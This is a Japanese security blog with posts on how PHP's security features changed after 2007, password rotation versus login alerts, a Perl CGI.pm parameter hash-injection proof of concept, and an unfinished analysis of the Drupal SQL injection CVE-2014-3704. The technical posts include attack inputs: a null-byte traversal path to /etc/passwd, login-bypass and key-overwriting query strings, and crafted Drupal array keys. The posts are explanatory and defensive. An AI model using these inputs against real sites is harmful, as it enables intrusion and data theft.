2014年12月22日月曜日

『例えば、PHPを避ける』以降PHPはどれだけ安全になったか

この記事はPHPアドベントカレンダー2014の22日目の記事です 。

2002年3月に公開されたIPAの人気コンテンツ「セキュアプログラミング講座」が2007年6月に大幅に更新されました。そして、その一節がPHPerたちを激しく刺激することになります。
(1) プログラミング言語の選択
1) 例えば、PHPを避ける
短時日で素早くサイトを立ち上げることのみに着目するのであれば、PHPは悪い処理系ではない。しかし、これまで多くの脆弱性を生んできた経緯があり、改善が進んでいるとはいえまだ十分堅固とは言えない。
セキュアプログラミング講座(アーカイブ)より引用
「PHPを避ける」とまで言われてしまったわけで、当然ながらネット界隈では炎上を起こし、現在はもう少しマイルドな表現に変わっています(参照)。

本稿では、当時のPHPの状況を振り返る手段として、この後PHPのセキュリティ機能がどのように変化してきたかを説明したいと思います。以下の二点について触れます。
  • PHPの安全でない機能の削除
  • PHPの安全性を高める機能の追加
一方、PHPの単純な脆弱性改修については原則として触れないことにします。
それでは、はじめましょう。

1.htmlspecialchars 文字エンコーディングチェックの改善(PHP5.2.5 2007/11/8)

2007年6月当時のhtmlspecialcharsは第3引数で指定した文字エンコーディングについて、ほとんど何もチェックしていない状態でしたが、PHP5.2.5になって、一部文字エンコーディングのチェックが追加されました。このあたりの詳しい状況は、私のエントリhtmlspecialcharsは不正な文字エンコーディングをどこまでチェックするかを参照ください。PHP5.2.5での対応は、なんとも中途半端なもので、「しないよりはマシだが抜けもあった(参照)」という、なんかPHPの悪いイメージに沿った対応でありました。
しかし、私のエントリが引き金となり、こちらで紹介したような議論が巻き起こり、最終的にはmoriyoshiさんによるとてもきっちりした文字エンコーディングのチェックがなされるようになりました(PHP-5.2.12 2009/12/17 )。
また、PHP-5.3までのhtmlspecialcharsの第3引数のデフォルト値はISO-8859-1(Latin-1)でしたので、文字エンコーディング指定を省略した場合は結局なにもチェックしないのと同じだったのですが、PHP-5.4(2012/3/1)でなんとこれが突然UTF-8に変更されます。これにより、「日本語等マルチバイト環境では第3引数を適切に指定しないと文字が表示されない(参照)」という荒業により、一挙に第3引数の指定が普及したものと思われます。
なんか、昔のPHPのゆるーい感じから、PHP-5.4のこの変更はスパルタンな感じがするほどであります。htmlspecialcharsに関する変遷を下記にまとめます。
  • PHP4.1.0  (2001/12/10) htmlspecialcharsに第3引数追加。ほとんど何もしていないに等しい文字エンコーディングチェック
  • PHP-5.2.5 (2007/11/8) 文字エンコーディングのチェックを強化…したけど抜けがたくさん
  • PHP-5.2.12 (2009/12/17) moriyoshiの神対応による厳格なチェックに
  • PHP-5.4.0 (2012/3/1) 第3引数のデフォルトが UTF-8 に変更

2. register_globalsが非推奨に(PHP-5.3.0 2009/6/30)

PHPの安全でない機能の筆頭格であったregister_globalsは、PHP-4.2.0(2002/4/22)ではデフォルトはオフになったものの、php.iniに指定すれば普通に使える状態でした。PHP-5.3に至り非推奨、すなわち使うと警告エラーとなり、PHP-5.4.0(2012/3/1)にて機能自体が削除されました。

register_globalsの危険な例を紹介します。
session_start();
if (isset($_SESSION['user'])) {
  $islogin = TRUE;
}
ご覧のように、セッション変数userにログインユーザ名を保存することで、ログイン中か否かを保持しています。
ここで、ログイン状態でなくても、クエリ文字列に islogin=1 と指定することでログイン状態になることができます。register_globalの機能により、変数 $islogin の初期値が "1" になるからです。

しかし、この脆弱性は、そもそもログイン状態を保持する変数 $islogin を初期化していないことが原因です。なので、「一見問題ないスクリプト」がregister_globalsのせいで脆弱になる例はないかと探してみました。
仮にスーパーグローバル変数$_SESSIONがregister_globalsによって外部から変更できるとすさまじく危険ですが、それはできないように保護されています。しかし、$_SESSIONが出来る前に使われていた session_register() 関数を使う仕組みだと、セッション変数を外部から設定できる場合があります。そのような例を示します。
session_start();
session_register('user'); // $user をセッション変数として宣言
if (! isset($user)) {
  die('ログインしていません');
}
// 以下ログイン中として処理
コメントにあるように、session_register('user'); は、$userがセッション変数である($_SESSION['user']に相当)と宣言するものです。
しかし、register_globalsが有効だと、新規のセッションの場合に限り、クエリ文字列 user=yamada 等とすることで、セッション変数 $user が外部から変更されてしまいます。PHP-4.1の頃だと、色々大変だったのでしょうね。

また、register_globalsではありませんが、parse_strという関数でregister_globals同等のことを実現しようとすると、$_SESSIONの上書きができてしまいます。詳しくはこちらを参照ください。
register_globalsについてまとめると以下のようになります。
  • PHP-4.2.0 (2002/4/22) register_globalsがデフォルトで off になる
  • PHP-5.3.0 (2009/6/30) register_globalsを有効にすると警告エラーになる
  • PHP-5.4.0 (2012/3/1) register_globalsが廃止される

3. マジッククォートが非推奨に(PHP-5.3.0 2009/6/30)

昔のPHPには、入力値を自動的にSQLエスケープするという機能(マジッククォート)がありましたが、PHP-5.3で非推奨になり、PHP-5.4で廃止されました。
マジッククォートに関しては、PHPの公式マニュアルに妥当な説明があるので参照してください。
上に付け加えることはあまりありませんが、敢えて言えば、
  • マジッククォートは入力時にエスケープ処理を自動的行う仕組みだが、エスケープ処理は文字列を使う時に都度すべきという考え方が一般化した
  • マジッククォートはMySQLに特化したエスケープ方式であり、かつMySQLのオプションや文字エンコーディングを考慮しない不完全なエスケープだった
ということで、廃止になったのは妥当な判断だと考えます。
  • PHP-5.3.0 (2009/6/30) マジッククォートを有効にすると警告エラーになる
  • PHP-5.4.0 (2012/3/1) マジッククォートが廃止される

4.暗号学的に安全な擬似乱数生成器のサポート(PHP-5.3.0 2009/6/30)

昔はPHPに暗号学的に安全な乱数生成関数がサポートされておらず、以下の関数でトークンやらセッションIDなどが生成されるという状況でした。
  • uniqid()
  • rand()
  • mt_rand()
これらは暗号学的に安全な乱数生成器ではないので、セキュリティ用途に使ってはいけません。中でも、uniqid()は乱数ですらなく基本的には時刻を元にしたIDですが、これを追加オプションなしでセッションID生成に使っている実装を見たことがあります。

PHP-5.3.0から、openssl_random_pseudo_bytes という、とても長い名前の関数により安全な擬似乱数が生成できるようになりました。但し、使用にあたっては以下の条件があります。
  • PHP-5.3.0以降であること かつ
  • OpenSSLが導入されていること
どちらか一方でも上記を満たさない場合は、安全な乱数のソースとして/dev/urandom等を使うことになります。

5.セッションID生成の安全性強化(PHP-5.3.2 2010/3/4)

PHPのセッションID生成は、元々暗号的な根拠を持っておらず、PHP-5.3.2で一応の改善があったものの、計算の複雑性を増すことで推測を少し難しくしたというレベルであり、暗号学的な根拠があるものではありませんでした。拙著を書くときにも扱いに苦労した記憶があります。結果として、拙著P163に以下のように書きました。
(PHPのセッションID生成は)図4-51で示したありがちなセッションIDの生成方法に該当します。ロジックの複雑性が高いため解読方法が判明しているわけではありませんが、理論的には安全性が保証されていない設計ということになります。
上記には「解読方法が判明しているわけではありませんが」とありますが、これを調べた人がいて、hnwさんが素晴らしい翻訳で紹介してくださっています。
現実的なリスクは低いものの、ちょっと心配ですよね。このため、(執筆当時は上記論文は知らなかったものの)私は以下のように推奨しました。
しかし、php.iniの設定を追加することで、安全な乱数を元にセッションIDを生成するよう改善できます。そのためには、php.iniに以下を設定します。
[Session]
;; entropy_file は Windowsでは設定不要
session.entropy_file = /dev/urandom
session.entropy_length = 32
そして、PHP-5.4.0からは上記設定が標準のデフォルト値となりました。まさか私の本を読んで、ということはないと思いますが、結果として取り入れてくださると嬉しいですよね。
  • PHP-5.3.2 (2010/3/4) セッションIDの生成方法を複雑化したが不完全
  • PHP-5.4.0 (2012/3/1) セッションIDのシードに安全な乱数を使うように改善

6.ヌルバイト攻撃の防御機能の追加(PHP-5.3.4 2010/12/9)

よく知らているように、PHPの機能・関数にはバイナリセーフのものとそうでないものが混在しているため、ヌルバイト攻撃という攻撃手法が成立していました。
典型的には、ディレクトリトラバーサル攻撃の際に、プログラム側で拡張子を付加してい場合でも任意の拡張子ファイルのアクセスができるようにする方法です。具体的には、../../.../../../etc/passwd%00というファイル名を指定することで、%00(ヌルバイト)が文字列の終端になり、それ以降の拡張子(.txt等)が無視されるというものです(bloggerの制限のため%を全角で書いていますが、実際には半角です)。
PHP-5.3.4では、言語構造及び関数の一部で、ファイル名にヌルバイトがあるとエラーになるように改良されました。詳しくは以下の素晴らしいエントリを参照ください。
ヌルバイト攻撃ができなくなっても、ディレクトリトラバーサル攻撃やファイルインクルード攻撃の対策は引き続き必要ですが、万一対策が漏れていた際の保険的な対策になります。

7.PDOのDB接続時の文字エンコーディング指定が可能に(PHP-5.3.6 2011/3/17)

昔は、PDOを用いる際にDB接続の文字エンコーディングを簡単には指定できないため、SQLインジェクション脆弱性の可能性がありました。具体的には、ぼくがPDOを採用しなかったわけ(Shift_JISによるSQLインジェクション)で指摘したように、Shift_JISでMySQLに接続している場合に、エスケープ処理やプレースホルダを使っていても、SQLインジェクション脆弱性が混入する場合がありました。
PHP-5.3.6以降にて、DB接続時に下図のように文字エンコーディングを指定できるようになりまた。
 $dbh = new PDO('mysql:host=DBHOST;dbname=test;charset=utf8', USERNAME, PASSWORD);
詳しくは以下のエントリを参照ください。
なお、Windows版のPHP-5.3.6には初歩的なバグがあり、PHP-5.3.7で修正されました。
ところが、このPHP-5.3.7には重大な脆弱性が混入してしまいました。次項に続きます。

8. crypt関数の重大な脆弱性混入とXFAILの運用(PHP-5.3.8 2011/8/23)

PHP-5.3.7にはcrypt関数に重大な脆弱性があり、MD5ハッシュを選択した際に肝心のハッシュ値が出力されないという問題が混入してしまいました。バグの詳細と混入の経緯については以下の記事を参照してください。
バグ混入の背景は以下の記事が参考になります。
上記の記事にもありますが、PHPの開発では、バグが採択された場合まずテストを書くことから始めるため、未対応のバグについて、大量のFAILが残ったままになり、対処が必要なFAILが埋もれて見落としてしまったようです。
これに対して、「将来修正するけど今はFAILを容認している」バグについては、FAILとは別に、XFAIL(eXpected FAIL)とすることで、見落としをなくそうということになりました。実際にはXFAILの機能自体は当時から既に組み込んであったようですが、XFAILの運用をきちんとやろうという意味でしょう。
実は、PHP-5.3.7の前にも、PHP-5.2.7にも重大なやらかしがあって、PHP-5.2.7は欠番になっています。そのため、PHP-5.x.7は地雷?ということで、PHP-5.4.7やPHP-5.5.7が出る際にも「また何かあるのではないかと期待不安」があったのですが、さすがにそういうことはありませんでした。PHP-5.3.7の失敗以降、大きなヤラカシはなくなったのではないでしょうか? これは良かったと思いますし、PHP-5.3.7のcryptのバグも幸い大きな実害にはつながらなかったようです。

9. header関数のバグ修正(PHP-5.4.0 2012/3/1)

PHPのヘッダ関数は、5.1.2(2006/1/12)でHTTPヘッダインジェクション対策として以下の修正がありました。
この関数は一度に複数のヘッダを送信できないようになりました。 これは、ヘッダインジェクション攻撃への対策です。
header関数マニュアルより引用
しかしこの修正に抜けがあり、改行を構成する2種類の文字キャリッジリターン(0x0D)とラインフィード(0x0A)のうちラインフィードの方しかチェックしておらず、キャリッジリターンのみでHTTPヘッダインジェクション攻撃ができてしまう状態でした。
その旨を私の本にも書いていたところ、PHP-5.4.0にて廣川類さんが修正してくださいました。
PHPスクリプトに対してHTTPヘッダインジェクション攻撃を掛ける経路としては、header関数のほか、setcookieとsetrawcookieを使う可能性が考えられますが、この修正でいずれの関数でもHTTPヘッダインジェクションはできなくなったはずです。

10. 安全なパスワード保存が簡単にできるようになった(PHP-5.5.0 2013/6/20)

password_hash関数の新設により安全なパスワード保存が楽に行えるようになりました。以下のように使用します。
$password = ...
$hash = password_hash($password, PASSWORD_DEFAULT);
生成されるハッシュ値の例は下記のとおりです。パスワードが同じでもソルトが毎回変わるので、呼び出しの度に異なるハッシュ値になります。
$2y$10$KDeRvOFZVPtVVm/Qo8DhA.XZ85u9mPmIqj3CHXCD2QZxeop617Wy2
上記の呼び出し例では指定していませんが、ストレッチングの強度を指定することもできます。デフォルトは10(ストレッチ回数ではありません)です。
パスワードの悪用が問題になっている昨今の状況を考えると、password_hashの採用はぜひ検討したいものです。

11. Session Adoption Bugの修正(PHP-5.5.2 2013/8/15)

PHPには従来からセッションIDとして勝手な値(例: PHPSESSID=ABC)をつけてもそれを受け入れてしまうという問題(Session Adoption)が指摘されていました。PHP開発陣はSession Adoptionはない方がいいが重大な問題ではないと認識していたようで長らく放置されていましたが、PHP-5.5.2にて修正されました。ただし、デフォルトは従来通りで、php.iniにて session.use_strict_mode = On を指定する(strict sessions)と、PHP側で用意したセッションIDのみを使うようになります。
詳しくは以下のエントリを参照ください。
また、Session Adoptionに関連して、セッションIDの固定化攻撃にどう対処するかについては、以下を御覧ください。

まとめ

IPAから『例えば、PHPを避ける』と書かれた2007年6月以降、PHPの安全性がどの程度強化されたかを調べました。思い返すと色々あったなぁとは思うものの、PHP-5.3.7のcryptの以降は、(PHP-5.5.2のStrict Sessionsはご愛嬌として)大きな「やらかし」は発生していないように思います。
また、PHP-5.3以降では、明確に過去の悪い習慣と決別する姿勢を示しているように思えます。昔のイメージだけで「PHPは危険」と言われてしまうのは、ちとかわいそうな気がします。
ということで、最近のPHPの安全性はかなり向上していると言えますが、むしろ、現在のPHPのセキュリティ運用上の問題は、バージョンアップが頻繁なために追随することが難しいことではないでしょうか? これを避けるためには、CentOS等のLinuxディストリビューションのパッケージとしてPHPを導入して、適切にパッチ適用する方法などが考えられます。

2014年11月7日金曜日

自宅の鍵を定期的に取り替える佐藤君(仮名)の話

パスワードの定期的変更について元々違和感を持っています。今まで、理詰めでその違和感を解明しようとしてきましたが、それでも私の頭のなかのもやもやをうまく説明できたわけではありません。そこで、パスワードの定期的変更を「自宅の鍵を定期的に変更する比喩」を用いて、そのもやもやを説明したと思います。比喩によって精密な議論ができるとは思っておりませんので、あくまでも主観的な「もやもや」を説明する方便として読んでいただければ幸いです。ここに登場する佐藤は架空の人物です。

徳丸: 佐藤君は自宅の鍵を定期的に取り替えていると聞いたんだけど、本当?

佐藤: 本当ですよ。毎年に替えています。毎年年末に鍵を取り替えて、安心な気持ちで新年を迎えるんです。徳丸さんは替えてないんですか?

徳丸: 替えないよ。鍵を落としたりしたらまた別だけど、そういうのでもなければ替えないよね。佐藤君はなぜ毎年替えるの?

佐藤: だって心配じゃないですか。

徳丸: 何が?

佐藤: 僕の知らないうちに合鍵が作られているかもしれないじゃないですか?

徳丸: 証拠でもあるの?

佐藤: 証拠はありません。でも、たとえば彼女が部屋に来るのに僕が留守だなんて場合に、郵便受けに鍵を入れておいたりするんで、誰かがこっそり鍵をとって合鍵を作っているかもしれません。

徳丸: そんな運用しなければいい。

佐藤: たとえば、ですよ。リスクをゼロにはできません。

徳丸: で、誰かが合鍵で部屋に入った兆候でもあるの?

佐藤: 今のところありません。

徳丸: だったら、そういう兆候が見つかったら替えたら?

佐藤: 徳丸さん、そんな意識でいいんですか? 万一の場合にも備えないとダメです。

徳丸: そうはいうけど、一年に1回変えるのでは、最悪ケースだと約一年間は合鍵で部屋に入られるわけでしょ。

佐藤: それはそうですが、永遠に入られ続けるよりましです。

徳丸: 悪い奴は、部屋に侵入されたら即座に部屋のものを盗んでいくんじゃないの?

佐藤: それは分かりません。僕の大事な情報だけ盗んでいくかもしれません。

徳丸: でも、何回も盗みに来るかね? 鍵を変えた後には、もう盗むべき情報はないのでは?

佐藤: 毎日仕事をして、生活をしていれば、その間に秘密情報も増え続けるんですよ。

徳丸: それは犯人にとって価値のある情報かな?

佐藤: それは分かりませんが、ひょっとしたら価値があるかもしれないじゃないですか。

徳丸: まぁ、そうだね。じゃあ、兆候が見つけられないんだったら、誰かが部屋に入ったらセンサーが作動するようにしたら?

佐藤: そうか、センサーがあれば、別人が部屋に入ったらわかりますね。

徳丸: そうそう、そうしなよ。

佐藤: 分かりました。そうします。


佐藤は自宅に侵入検知のセンサーを取り付けて運用を開始した。それから2年が経った。

徳丸: やぁ、佐藤君、久し振りだね。その後どう?

佐藤: いやぁ、相変わらずですね。

徳丸: センサーの調子はどう? 誰か入ってきた?

佐藤: センサーはちゃんと動いているようです。別人が侵入した兆候はないですね。

徳丸: なら、鍵を取り替える必要もなくなったね。

佐藤: いや、念のため、昨年末に鍵を替えました。

徳丸: え゛っ、なぜ?

佐藤: だって、心配じゃないですか?

徳丸: センサーまでつけたのに?

佐藤: 徳丸さん、考えてみたんですよ。誰も侵入していないとしても、合鍵を作られていない証拠にはなりません。

徳丸: どうして?

佐藤: 犯人は合鍵を作ったけれども、すぐに使わずに侵入するタイミングを伺っているかもしれないじゃないですか。

徳丸: それはそうだけど、そんな悠長なことするかね?

佐藤: それは分かりません。私は悪い奴の気持ちはわからないですが、そうしないという証拠はありません。

徳丸: うーん、合鍵を作られたけどすぐには悪用しないというケースを想定するのであれば、鍵の取り替えで対応するには、一年に1回とかでは不十分だと思うよ。

佐藤: やはり、毎日鍵を替えないとだめでしょうか?

徳丸: そんなの現実的ではないよね。

佐藤: あー、心配だ。どうすればいいんだ。

徳丸: 合鍵が心配だったら、ICカードキーとか生体認証を併用して二要素にしたらいいのでは?

佐藤: 二要素にしたら費用が掛かるし、毎日の鍵の開け閉めが面倒くさいじゃないですか。

徳丸: いやいや、佐藤くんがそこまで心配するなら、そうすべきだと僕は思うけどね。

佐藤: …(徳丸と佐藤の会話はまだまだ続く)


「侵入検知センサー」はパスワードの場合はログインアラートに相当します(参照)。
心配症の佐藤君の考え方が、そのままパスワードの定期的変更に当てはまると主張しているわけでありません。そこは精密な議論が必要ですが、私の主観的なもやもやの中身の一部は、上記の対話の比喩で説明できるのではないかというお話です。

2014年11月4日火曜日

ログインアラートはパスワード定期的変更の代替となるか

パスワードの定期的的変更には実質的にはあまり意味がないのではないかという議論(疑問)から出発した議論を続けておりますが、こちらなどで表明しているように、パスワードの定期的変更が効果をもつ場合もあります。
そこで、本稿ではパスワードの定期的変更の代替手段としてログインアラートの運用に着目し、ログインアラートの運用がパスワードの定期的変更の代替となるのか、残る課題は何かについて検討します。

パスワード定期的変更の効果まとめ

まず前提条件について説明します。ウェブサイトAの利用者xが自身のパスワード voc3at を定期的変更として変更する(voc3atはあくまで例です)場合、これが効果を発揮する条件と効果は、以下と考えられます。条件1と条件2はAND条件です。
  • 条件1: パスワード voc3at が既に漏洩していて、今後悪用される可能性がある
  • 条件2: パスワード漏洩に利用者 x は気づいておらず(あるいは気づいたにも関わらず)、パスワードを(非定期には)変更していない
  • 効果: パスワードの定期的変更後、サイトAにおける パスワード voc3at の悪用はできなくなる
条件1のパスワード voc3at が漏洩する経路については制約はありませんが、以下の様なケースが考えられます。
  • サイトAからパスワード漏洩が起こった
  • 利用者 x がパスワード voc3at を別のサイトBでも利用していて、サイトBから漏洩した
  • 利用者 x 自身がパスワード voc3at を別人に教えてしまった
  • 利用者 x がフィッシング詐欺にあってしまい、パスワード voc3at が漏洩した
条件2に関して、利用者が気づく局面の例としては以下があります。利用者が気づかない状況とは、以下のいずれにも該当しないケースです。
  • LINEのアカウント乗っ取りのように、利用者 x 自身は利用できなくなったり、友人が教えてくれる
  • 不正送金被害にあい、銀行口座から預金がなくなってしまった
  • なりすまし投稿により自身のアカウントが炎上してしまった
  • サイトAがパスワード漏洩事件を公表し、パスワード変更を呼びかけた
  • ログイン履歴を見ていて気づいた

ログインアラートとは

ログインアラート(ログイン通知とも)とは、誰か(利用者自身も含むが第三者かもしれない)がサイトにログインした際に、その旨を登録済みメールアドレスに通知する機能です。多くのサイトではログインに成功した場合に通知しますが、LINEウェブストアに関しては、ログインに失敗しても通知します。
以下は、楽天のログインアラートのメール例です。
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
【楽●天】ログインアラート通知(2014/10/20 09:53)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

xxxxxxxx 様

お客様が楽天のサービスにログインしましたので、お知らせいたします。
このメールはログインアラート設定を行っているお客様に
送信させて頂いております。

◆ログイン情報
・ログイン日時 :2014/10/20 09:53
・IPアドレス   :xxx.xxx.xxx.xxx

◆ログイン履歴
https://history.id.rakuten.co.jp/
よりログイン履歴がご確認いただけます。

◆心当たりのないログインの場合
お客様以外の第三者がお客様に成りすましてログインしている可能性があります。
その場合、次のURLより会員情報管理画面にてパスワードを
変更されることをおすすめします。
https://member.id.rakuten.co.jp/rms/nid/menufwd
利用者は、ログインしていないのにこのメールを受け取った場合、別人が自分のアカウントでログインしていることを疑い、IPアドレスを確認した上で必要に応じてパスワードを変更することになります。

※注: 楽天のログインアラートメールには、このパスワード変更のURLが記載されていますが、このURLにアクセスすると楽天のログイン画面になるわけで、ログインアラートがフィッシングに悪用される懸念を考えると、メールの文面は悩ましいところではあります。

ログインアラートの効果

パスワードの定期的変更とログインアラートは、どちらもパスワードが漏洩してからの事後の緩和策と位置づけることができますが、効果については微妙に異なります。
ログインアラートの利点は以下の通りです。
  • 不正ログインの事実を確認できる
  • 不正ログインの際の日時やIPアドレス等から犯人追跡の情報が得られる
  • 不正ログインから速やかな対処が可能
  • 不必要なパスワード変更をする必要がないので利用者側の負担が少ない
  • 実装上のコストは比較的低い

一方、ログインアラートではカバーできない状況として下記があります。

  1. パスワード漏洩後、なんらかの理由で数ヶ月後に犯人が初めてログインした
  2. サイトBから漏洩したパスワードリストを犯人が購入し、漏洩から数ヶ月後にサイトAで試した。利用者はサイトAとサイトBで同じパスワードを設定していた
  3. 利用者のリテラシーが低く、ログインアラートに適切に対処できない

1.に関しては、パスワードを得て「数ヶ月放っておく」動機があるのが問題になります。
2.に関しては、あり得るシナリオではありますが、サイトAに重要情報がるのであれば、やはりパスワードの使い回しを避けるほうが安全で、その方が総合的には手間も掛からないと考えます。
3.に関しては、ログインアラートに適切に対処できない人が自発的にパスワードの定期的変更をするとは考えにくいので、パスワードの有効期限を定めて強制的に変更させないと実効性がないでしょう。ただし、私自身はパスワードの有効期限のあるサイトは、できれば使いたくないと感じます。

ログインアラートはパスワード定期的変更の代替になるか

ログインアラートについて紹介し、パスワードの定期的変更運用の代替になるか(ログインアラートを適切に運用すれば、パスワードの定期的変更をしなくてすむか)について検討しました。
前述のように、ログインアラートは完全にパスワードの定期的変更の代替にはならないものの、残るリスクは比較的軽微であり、実用上はログインアラートがあれば、パスワードの定期的変更はしなくてもよいケースが多いのではないかと考えます。
もちろん、利用者側で心配であれば、ログインアラートに加えてパスワードの定期的変更もすればよいと思います。しかし、そこまで心配するのであれば、二段階認証など、さらに強固な認証手段を提供しているサイトを選択する方が良いと考えます。二段階認証を設定していれば、パスワードの定期的変更は必要ないでしょう。
今回私が二段階認証ではなくログインアラートに着目した理由は、前述したように実装コストが低く、利用者・サイト提供者共に負担が軽いからです。このため、不正ログイン事件が多発している現状において、最低限度のセキュリティ施策として、ログインアラートの実装の検討をおすすめします。

2014年10月25日土曜日

New Class of Vulnerability in Perl Web Applicationsの紹介

Redditを眺めておりましたら以下の記事が目に止まりました。
New Class of Vulnerability in Perl Web Applications
ざっくりというと以下の様な内容です
  • CGI.pmのparamメソッドの返り値をハッシュに突っ込んでいる箇所がある
  • クエリ文字列に同名のパラメータを複数セットすると、配列値が返る
  • 配列をハッシュに突っ込むことにより、別のキーの値が変更される
私はこの内容に興味を持ちましたので、以下に詳しく説明します。

PoC

元エントリにもPoCが出ておりますが、少し手をいれたものを以下に示します。
#!/usr/bin/perl
use strict;
use CGI;

my $cgi = new CGI;

my $loginname = 'smith';
my $password  = 'a3k!sz9';

my %user = ('login' => $loginname,
            'realname' => $cgi->param('realname'),
            'password' => $password);
print <<END;
Content-Type: text/plain; charset=utf-8

login = $user{'login'}
realname = $user{'realname'}
password = $user{'password'}
END
ご覧のように、キーとしてlogin、realname、passwordを取るハッシュを作成しています。loginとpasswordは定数(セッション変数などから取得する想定)、realnameはクエリ文字列realnameから取得します。

このCGIプログラムをクエリ文字列 realname=John+Smith で呼び出すと結果は下記となります。
login = smith
realname = John Smith
password = a3k!sz9
次に、以下のクエリ文字列で呼び出します。
realname=hoge&realname=login&realname=yamada
結果は以下となります。
login = yamada
realname = hoge
password = a3k!sz9
なんと、定数で指定しているはずのloginがyamadaに化けています。なぜでしょうか?

CGI.pmは同名パラメータ指定により配列を受け取ることができる

CGI.pmのparamメソッドは、以下のようにすると、配列の形でパラメータを受け取ることができます。
my @foo = $cgi->param('foo');
例えば、以下のクエリ文字列を指定した場合、
foo=1&foo=2&foo=3
@fooは 1, 2, 3を値にもつ配列となります。

ハッシュ生成時に配列を混ぜることでハッシュの別キーをインジェクションできる

PoCの%user の部分は以下のように呼び出されることになります。
my %user = ('login' => 'smith',
            'realname' => ('hoge', 'login', 'yamada'),
            'password' => 'a3!sz9');
Perlの場合、=>とカンマ(,)はほぼ同じ意味だそうで、上記は以下のように展開されます。私はPerlの細かい文法には自信が無いため、以下の部分の説明に誤りがあればご指摘ください。
my %user = ('login', 'smith',
            'realname', 'hoge', 'login', 'yamada',
            'password', 'a3!sz9');
整形すると、以下と同等です。
my %user = ('login' => 'smith',
            'realname' => 'hoge', 
            'login' => 'yamada',
            'password' => 'a3!sz9');
右辺は配列定義ですが、'login' => が2箇所あります。したがって、配列をハッシュに変換する際に、キーloginに対する値は、'yamada'に上書きされます。すなわち、以下と同等です。
my %user = ('realname' => 'hoge', 
            'login' => 'yamada',
            'password' => 'a3!sz9');
以上の手順により、$user{'login'}が本来smithであるところ、外部からの入力により、yamadaに変更させられました。

このようなケースはありえるのか?

上記のPoCのようなことが現実にあり得るかというと、ちょっと微妙な気はするものの、ないこともないかなという印象です。
たとえば、Web APIなどで、入力はurlencodedだけど出力はJSONであって、そのJSONを作る際にいきなりハッシュ定義に入力値を放り込んでいるケースなどです。
元記事のコメント欄には、ふつーバリデーションするだろというツッコミに対して、著者は、realnameは任意の文字を受け取るのでバリデーションは必要ないと答えています。しかし、制御文字などは弾く必要があるため、アプリケーション要件としても、最低限度のバリデーションは必要と考えます。

対策

この問題を避ける簡便な方法として、元エントリではrealnameの値をスカラーに変換する方法が紹介されています。
my %user = ('login' => $loginname,
            'realname' => scalar $cgi->param('realname'),
            'password' => $password);
あるいは、値をいったんスカラー変数で受けるという方法があります。これにより、realnameがスカラであることが保証されます。
my $realname = $cgi->param('realname');
my %user = ('login' => $loginname,
            'realname' => $realname,
            'password' => $password);

まとめ

前回のエントリでも説明したように、スカラ値を想定している入力が、実は配列やハッシュになっている可能性を想定して、スカラであることのチェック、あるいはスカラに変換する等の処理が必要な場合があります。
入力値のバリデーションをすれば脆弱性が顕在化することはありませんが、脆弱性が混入するその箇所で対策することを考えると、ハッシュに突っ込む箇所で、当該変数がスカラーであることが一目瞭然になっているのがよいでしょう。
そういう意味で、バリデーションによる対策をとらず、脆弱性の発生箇所での対策を主張されている元エントリの著者Gerv(Gervase Markham)さんとは、一緒に旨い酒が飲めそうだと感じましたw

2014年10月20日月曜日

DrupalのSQLインジェクションCVE-2014-3704(Drupageddon)について調べてみた

既に日本でも報道されているように、著名なCMSであるDrupalのバージョン7系にはSQLインジェクション脆弱性があります(通称 Drupageddon; CVE-2014-3704)。この脆弱性について調査した内容を報告します。

ログイン時のSQL文を調べてみる

MySQLのクエリログを有効にして、Drupaのログイン時に呼び出されるSQL文を調べてみます。リクエストメッセージは以下となります(一部のヘッダを省略)。
POST /?q=node&destination=node HTTP/1.1
Host: xxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Cookie: has_js=1; Drupal.toolbar.collapsed=0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 122

name=admin&pass=xxxxxxxx&form_build_id=form-xQZ7X78LULvs6SyB9MvufbZh5KXjQYRHS05Jl2uD9Kc&form_id=user_login_block&op=Log+in
ログイン時には複数のSQL文が呼び出されますが、以下のSQL文に注目します。
SELECT * FROM users WHERE name = 'admin' AND status = 1
次に、name=adminの部分を以下のように変更してみます。
name[]=user1&name[]=user2
生成されるSQL文は以下の通りです。
SELECT * FROM users WHERE name = 'user1', 'user2' AND status = 1
あれ、配列として渡したuserが、SQL文では、'user1', 'user2'とカンマ区切りで列挙されています。これはSQL文法違反となっていますが、DrupalのSQL文ジェネレータの機能で、配列のパラメータを自動的にSQLのプレースホルダに展開する機能があるのです。以下、こちらの記事のサンプルをお借りして説明します。

以下のようなdrupal APIの呼び出しを題材に用います。
<?php
db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));
?>
上記IN句に対して、プレースホルダは :name 一つだけ、バインドする値は2個あります。この場合、SQL文は以下のように自動的に改変されます。
SELECT * from users where name IN (:name_0, :name_1)
なんて便利なんでしょう! SQLインジェクション対策としてプレースホルダを使えと呼びかける際に決まって問題となる IN句の展開をやってくれていますね。つまり、バインド値を配列にする呼び出し方は主に IN句を想定したものであり、最初に見たname[]を複数指定する呼び出し方は、想定外といってよく、その結果として生成されるSQL文が文法違反となりました。
文法違反というだけでかなり嫌な予感がしますが、この予感は不幸にも的中します。

連想配列のキーを指定したらどうなるか

ここで元のログイン時のSQL文に戻り、今度はname配列にキー文字列をつけて呼び出してみましょう。以下のname[]配列を用います。
name[id1]=user1&name[id2]=user2
生成されるSQL文は以下の通りです。
SELECT * FROM {users} WHERE name = :name_id1, :name_id2 AND status = 1
一見筋の通った処理に思えますが、キーに空白があったらどうなるでしょうか?
name[1 xxxxx]=user1&name[2]=user2
生成されるSQL文は下記となります。
SELECT * FROM {users} WHERE name = :name_1 xxxxx, :name_2 AND status = 1
あれあれ、プレースホルダがちぎれて、:name1と xxxxx に分かれてしまいました。これはもちろん文法違反ですが、実は呼び出す前にエラーになります。
この際のバインド値は以下の通りです。
array(2) {
  [":name_1 xxxxx"] => "user1"
  [":name_2"] =>  "user2"
}
SQL文中には :name_1 というプレースホルダがありますが、バインド値の配列には :name_1がありません。このため、PDOの動的プレースホルダが値をバインドできず、呼び出す前にエラーになるわけです。
それでは、エラーにならない方法はあるでしょうか? あります。:name_2 はあるわけですから、最初のプレースホルダ側でも :name_2 を使ってしまえばよいのです。
今度は、以下のname[]値で呼び出してみます。user1は使われないので削除しました。
name[2 xxxxx]=&name[2]=user2
生成されるSQL文
